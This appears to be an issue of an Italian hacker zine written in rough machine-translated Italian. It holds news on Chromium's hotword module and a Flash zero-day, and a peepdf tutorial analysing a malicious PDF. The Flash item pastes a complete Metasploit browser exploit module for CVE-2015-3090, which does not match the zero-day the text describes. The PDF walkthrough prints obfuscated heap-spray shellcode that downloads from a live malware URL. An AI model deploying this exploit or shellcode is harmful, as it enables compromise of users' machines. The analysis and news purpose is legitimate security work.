'Abilita' Ok Google 'per avviare una ricerca vocale Questo dovrebbe essere disattivate di default, e se non si seleziona esso, il modulo hotword non lo farà essere avviato. " Google ha anche sostenuto che Chrome non è open source e se qualcuno dei distributori open source come Debian hanno alcun problema con esso, si dovrebbe disabilitare il modulo se stessi. Tuttavia, dopo aver ricevuto lamentele sul "bug" che installa automaticamente i moduli condivisi Chrome hotword senza una configurazione di opt-out, Debian ha risolto il problema disattivando l'estensione nella loro distribuzione di Chromium. Google - Noi non siamo responsabili per gli altri browser Google non nega l'installazione del codice scatola nera nel browser Chromium, ma l'azienda non si ritiene responsabile per gli altri browser web che includono il codice. "Il nostro obiettivo primario è sempre il codice pronto per Google Chrome", spiega Google. "Se una terza parte (come Debian) distribuisce, è loro responsabilità di far rispettare la propria politica." La questione chiave è l'inclusione di codice scatola nera in Chromium, che dovrebbe essere un progetto open-source che permette a tutti audire il codice. Tuttavia, dice Falkvinge Chromium "aveva abusato della sua posizione di fiducia a monte per inserire linee di codice sorgente che aggiravano il processo di controllo-poi-build, e che scaricate e installate una scatola nera di codice eseguibile non verificabile direttamente sul computer, in sostanza, rendendoli compromessi. " Questo problema ha costretto Google di apportare modifiche in Chromium 45 disabilitando l'estensione Chrome hotword, rendendo più facile per i distributori terzi per disabilitare hotwording. [Fonte: Swati Khandelwal , traduzione: afr0] ADOBE 0 DAY Adobe ha lanciato una patch software emergenza per il suo Flash Player per patchare una vulnerabilità zero-day critico che è già sfruttata dagli hacker in natura. La società ha detto che la falla potrebbe potenzialmente consentire agli hacker di assumere il controllo del sistema interessato e che aveva le prove di " attacchi limitati e mirati ", che sfruttano la falla. Pertanto, Adobe sta esortando gli utenti e gli amministratori di aggiornare immediatamente il loro software. Circa il zero-day difetto: La vulnerabilità, qui riportata: ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player ShaderJob Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow vulnerability related to the ShaderJob workings on Adobe Flash Player. The vulnerability happens when trying to apply a Shader setting up the same Bitmap object as src and destination of the ShaderJob. Modifying the "width" attribute of the ShaderJob after starting the job it's possible to create a buffer overflow condition where the size of the destination buffer and the length of the copy are controlled. This module has been tested successfully on: * Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.169. * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.169. * Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.169. * Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.457. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Evans', # Vulnerability discovery 'Unknown', # Exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-3090'], ['URL', 'https://helpx.adobe.com/security/products/flashplayer/apsb15-09.html'], ['URL', 'https://www.fireeye.com/blog/threatresearch/2015/05/angler_ek_exploiting.html'], ['URL', 'http://malware.dontneedcoffee.com/2015/05/cve-20153090-flash-up-to-1700169-and.html'], ['URL', 'http://www.brooksandrus.com/blog/2009/03/11/bilinearresampling-with-flash-player-and-pixel-bender/'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => ['win', 'linux'], 'Arch' => [ARCH_X86], 'BrowserRequirements' => { :source => /script|headers/i, :arch => ARCH_X86, :os_name => lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, :ua_name => lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF when 'Linux' return true if ua == Msf::HttpClients::FF end false end, :flash => lambda do |ver| case target.name when 'Windows' return true if ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.169') when 'Linux' return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.457') end false end }, 'Targets' => [ [ 'Windows', { 'Platform' => 'win' } ], [ 'Linux', { 'Platform' => 'linux' } ] ], 'Privileged' => false, 'DisclosureDate' => 'May 12 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/xshockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] if target.name =~ /Windows/ platform_id = 'win' elsif target.name =~ /Linux/ platform_id = 'linux' end html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/ swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>&pl=< %=platform_id%>&os=<%=os_name%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=< %=os_name%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-20153090', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end è un codice bug esecuzione remota che consente agli hacker di assumere il controllo di un sistema di computer interessato. Truffatori Cyber stanno già sfruttando questa vulnerabilità zero-day in natura, nel tentativo di dirottare i computer, i sistemi che eseguono il targeting di Internet Explorer in Windows 7 e Firefox su Windows XP . La vulnerabilità è stata scoperta e segnalata da ricercatori FireEye, che per primo ha notato il difetto sfruttando attivamente in una campagna di phishing per indirizzare le aziende nella difesa, aerospaziale, high tech, telecomunicazioni, edilizia e l'ingegneria, e il trasporto. Prodotti interessati: La falla interessa tutti i principali sistemi operativi, tra cui i sistemi Windows, Mac e Linux. Secondo la società, il seguente software può potenzialmente essere influenzato dalla grave bug: Adobe Flash Player supporto esteso versione 13.0.0.292 e versioni precedenti 13.x versioni per Windows e Macintosh Adobe Flash Player 18.0.0.161 e versioni precedenti per Windows e Macintosh Adobe Flash Player 11.2.202.466 e precedenti versioni per Linux 11.x Il fatto che Flash è installato su quasi tutti i sistemi di computer e in quasi tutti i browser web gli utenti sono invitati ad aggiornare il loro software per la versione corretta di Flash Player nel più breve tempo possibile. Gli utenti Chrome e Windows 8 gli utenti che eseguono Internet Explorer riceveranno automaticamente la versione aggiornata di Flash. Gli utenti di altri browser possono ottenere la versione patchata da pagina di download di Adobe . [afr0] ANALIZIAMO I PDF!! Tutti quanti abbiamo letto di come sia facile infettare un pdf, ma meno a letto come analizare un pdf. In questo articolo esaminero peepdf che serve ad analizare appunto i nostri pdf (piccola parentesi il tool e di Jose Miguel Esparza ed e disponibile https://code.google.com/p/peepdf/wiki/Downloads?tm=2) Andiamo avanti come si usa? Incominciamo a dire che un problemino che mi ha dato subito era la mancanza nella versione live di debian dove l'ho testato di pyV8 reperibile online Cominciamo con i primi comandi root@afr0:~# python peepdf -h In questo modo avremo una visione piu dettagliata sui comandi che potremmo dare (se volete leggere piu informazione sui comandi potete andare qui: https://code.google.com/p/peepdf/wiki/Commands) Ma proviamo a fare una prima analisi root@afr0:~# python peepdf -f file.pdf Con questo comando avremo una visuale abbastanza accurata, ma non sufficente per gente come me Quindi attiviamo la modalita interattiva (parere mio molto comoda) root@afr0:~# python peepdf -i file.pdf Come primo comando nella modalita interattivausiamo tree per avere una panoramica del file PPDF> tree /Catalog (1) /Fields (5) array (2) /JavaScript (7) /Names (10) /Action /JavaScript (12) string (13) /Pages (4) /Page (9) /Pages (4) stream (11) /ProcSet (8) /ProcSet (8) /Outlines (3) dictionary (6) /Info (14) Cosi abbiamo una panoramica che ci sara molto comoda quindi ora possiamo muoverci sia col comando object PPDF> object 1 0 << /AcroForm 5 0 R /Threads 2 0 R /Names 7 0 R /OpenAction << /S /JavaScript /JS this.uSQXcfcd2() >> /Pages 4 0 R /Outlines 3 0 R /Type /Catalog /PageLayout /SinglePage /Dests 6 0 R /ViewerPreferences << /PageDirection /L2R >> >> Un altro comando molto interessante e rawstream PPDF> rawstream 1 78 9c 45 8e c1 0a 83 30 10 44 ef f9 8a f9 83 4d |x.E....0.D.....M| 5a 15 0b 22 b4 de 2c a5 a2 bd 15 0f c1 06 09 14 |Z.."..,.........| 23 1a 4b fb f7 5d 6b a0 2c 7b d8 61 e6 ed 28 48 |#.K..]k.,{.a..(H| ec 10 2b ec 71 88 10 41 25 29 b2 0c 74 fb 8c 06 |..+.q..A%)..t...| 54 68 af 9f ae 17 54 e9 de cc 6c 94 a8 05 5d 47 |Th....T...l...]G| 33 1c 3b 6f dd c0 01 56 90 e7 6b e4 6c 1f 33 ee |3.;o...V..k.l.3.| 0c 5a a5 56 04 c4 2f 29 a8 70 cb e0 a1 82 b5 d2 |.Z.V../).p......| 93 e1 33 f0 fe 46 41 b5 99 dd 32 75 fc 8c 7d 79 |..3..FA...2u..}y| 2e e8 62 1e 56 9f dc 9b c9 92 27 91 12 29 6f 1b |..b.V.....'..)o.| 48 5b 76 6b 23 a8 01 95 fa a5 9b 6e b2 a3 17 54 |H[vk#......n...T| 36 88 43 c1 2f a0 0d 3e 09 0a |6.C./..>..| Che ha anche un fratello il comantro stream PPDF> stream 1 1 0 2 51 3 94 4 168 << /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R >><< /Kids [ 3 0 R ] /Type /Pages /Count 1 >><< /Parent 2 0 R /Type /Page /Resources << >> /MediaBox [ 0 0 600 800 ] >><< /Type /Action /S /JavaScript /JS 5 0 R >> Un altro comando molto interessante e js_analyse PPDF> js_analyse object 13 Javascript code: var tX1PnUHy = new Array(); function lRUWC(E79yB, NPvAvQ){ while (E79yB.length * 2 < NPvAvQ){ E79yB += E79yB; } E79yB = E79yB.substring(0, NPvAvQ / 2); return E79yB; } function YVYohZTd(bBeUHg){ var NTLv7BP = 0x0c0c0c0c; rpifVgf = unescape("%u4343%u4343%u0feb%u335b %u66c9%u80b9%u8001%uef33" + "%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef %ue3af%u9f64%u42f3%u9f64"+ "%u6ee7%uef03%uefeb%u64ef %ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb %u7787"+ "%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d %uef0d%uefef%uaa66%ub9e3"+ "%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff %u2e87%u0a96" + "%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa %ue806%uefee%ub1ef%u9a66"+ "%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf %uf5d9%u9fc0%u7807%uefef"+ "%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef %uaa64%u85fb%ub6ed%uba64"+ "%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a %uebaf..." Unescaped bytes: 43 43 43 43 eb 0f 5b 33 c9 66 b9 80 01 80 33 ef |CCCC..[3.f....3.| 43 e2 fa eb 05 e8 ec ff ff ff 7f 8b 4e df ef ef |C..........N...| ef 64 af e3 64 9f f3 42 64 9f e7 6e 03 ef eb ef |.d..d..Bd..n....| ef 64 03 b9 87 61 a1 e1 03 07 11 ef ef ef 66 aa |.d...a........f.| eb b9 87 77 11 65 e1 07 1f ef ef ef 66 aa e7 b9 |...w.e......f...| 87 ca 5f 10 2d 07 0d ef ef ef 66 aa e3 b9 87 00 |.._.-.....f.....| 21 0f 8f 07 3b ef ef ef 66 aa ff b9 87 2e 96 0a |!...;...f.......| 57 07 29 ef ef ef 66 aa fb af 6f d7 2c 9a 15 66 |W.)...f...o.,..f| aa f7 06 e8 ee ef ef b1 66 9a cb 64 aa eb 85 ee |........f..d....| b6 64 ba f7 b9 07 64 ef ef ef bf 87 d9 f5 c0 9f |.d....d.........| 07 78 ef ef ef 66 aa f3 64 2a 6c 2f bf 66 aa cf |.x...f..d*l/.f..| 87 10 ef ef ef bf 64 aa fb 85 ed b6 64 ba f7 07 |......d.....d...| 8e ef ef ef ec aa cf 28 ef b3 91 c1 8a 28 af eb |.......(.....(..| 97 8a ef ef 10 9a cf 64 aa e3 85 ee b6 64 ba f7 |.......d.....d..| 07 af ef ef ef 85 e8 b7 ec aa cb dc 34 bc bc 10 |............4...| 9a cf bf bc 64 aa f3 85 ea b6 64 ba f7 07 cc ef |....d.....d.....| ef ef 85 ef 10 9a cf 64 aa e7 85 ed b6 64 ba f7 |.......d.....d..| 07 ff ef ef ef 85 10 64 aa ff 85 ee b6 64 ba f7 |.......d.....d..| 07 ef ef ef ef ae b4 bd ec 0e ec 0e ec 0e ec 0e |................| 6c 03 eb b5 bc 64 35 0d 18 bd 10 0f ba 64 03 64 |l....d5......d.d| 92 e7 64 b2 e3 b9 64 9c d3 64 9b f1 97 ec 1c b9 |..d...d..d......| 64 99 cf ec 1c dc 26 a6 ae 42 ec 2c b9 dc 19 e0 |d.....&..B.,....| 51 ff d5 1d 9b e7 2e 21 e2 ec 1d af 04 1e d4 11 |Q......!........| b1 9a 0a b5 64 04 64 b5 cb ec 32 89 64 e3 a4 64 |....d.d...2.d..d| b5 f3 ec 32 64 eb 64 ec 2a b1 b2 2d e7 ef 07 1b |...2d.d.*..-....| 11 10 10 ba bd a3 a2 a0 a1 ef 68 74 74 70 3a 2f |..........http:/| 2f 62 69 6b 70 61 6b 6f 63 2e 63 6e 2f 6e 75 63 |/bikpakoc.cn/nuc| 2f 65 78 65 2e 70 68 70 |/exe.php| URLs in shellcode: http://bikpakoc.cn/nuc/exe.php Gli altri comandi js_ sono js_beautify js_code js_eval js_jjdecode js_join js_unescape js_vars Gli ultimi comandi che cito sono: Usage: decode variable var_name filter1 [filter2 ...] Usage: decode file file_name filter1 [filter2 ...] Usage: decode raw offset num_bytes filter1 [filter2 ...] Decode the content of the specified variable, file or raw bytes using the following filters or algorithms: base64,b64: Base64 asciihex,ahx: /ASCIIHexDecode ascii85,a85: /ASCII85Decode lzw: /LZWDecode flatedecode,fl: /FlateDecode runlength,rl: /RunLengthDecode ccittfax,ccf: /CCITTFaxDecode jbig2: /JBIG2Decode (Not implemented) dct: /DCTDecode (Not implemented) jpx: /JPXDecode (Not implemented) PPDF> bytes 70 37 78 9c 4b 2c 28 d0 4b cc 49 2d 2a d1 50 f2 48 cd |x.K,(.K.I-*.P.H.| c9 c9 57 08 cf 2f ca 49 51 54 54 d2 31 d6 b4 06 |..W../.IQTT.1...| 00 96 69 09 15 |..i..| PPDF> decode raw 70 37 fl app.alert("Hello World!!",3); vtcheck You need a VirusTotal API key to use this command. Detection rate: 26/47 Last analysis date: 2013-07-01 05:43:24 Report link: https://www.virustotal.com/file/ba3c7c763f7910ef956e27be054e9271b00 d05aab9fb153cdf30001ce422d68a/analysis/1372657404/ Scan results: nProtect Exploit.TIFF.Gen McAfee 7101F6998958 K7AntiVirus F-Prot Symantec Trojan.Pidief.I 2013-07-01.01 20130701 5.400.0.1158 20130701 Artemis! 9.170.8927 20130628 Exploit 4.7.1.166 20130630 CVE-0188 20131.1.0.101 20130701 Norman 7.01.04 20130701 Exploit_Gen.KDB TrendMicro-HouseCall 9.700.0.1001 20130701 TROJ_GEN.R4FH1KI Avast 8.0.1489.320 20130701 JS:Pdfka-gen [Expl] Kaspersky 9.0.0.837 20130701 HEUR:Exploit.Script.Generic BitDefender 7.2 20130701 Exploit.TIFF.Gen Agnitum 5.5.1.3 20130630 Exploit.CVE2010-0188 Emsisoft 3.0.0.583 20130701 Exploit.TIFF.Gen (B) Comodo 16523 20130701 UnclassifiedMalware F-Secure 11.0.19100.45 20130701 Exploit.TIFF.Gen DrWeb 20130701 SCRIPT.Virus AntiVir 7.11.88.12 20130701 EXP/Pdfjsc.EH.14 TrendMicro 9.740.0.1012 20130701 EXPL_CVE20100188 Sophos 4.90.0 20130701 Troj/PDFJs-II Microsoft 1.9607 20130701 Exploit:Win32/Pdfjsc.EX GData 22 20130701 Exploit.TIFF.Gen Commtouch 5.4.1.7 20130630 CVE-0188 PCTools 9.0.0.2 20130701 Trojan.Pidief Ikarus T3.1.4.3.0 20130701 Exploit.Win32.CVE-2010-0188 Fortinet 5.1.146.0 20130701 W32/PDFJs.II!tr AVG 10.0.0.1190 20130630 Exploit Panda 10.0.3.5 20130630 Exploit/PDF.Gen.B [crediti: Jose Miguel Esparza scritto da afr0] The End E anche stavolta siamo arrivati alla fine. Sembrava non uscire mai questa rivista, sembrava non dovesse vedere la luce, poi doveva essere l'ultima, con la relativa chiusura del blog e della pagina facebook …. Insomma una gran confusione..... MA QUINDI LA RIVISTA CONTINUERA? …. [RIVISTA CREATA DA AFR0]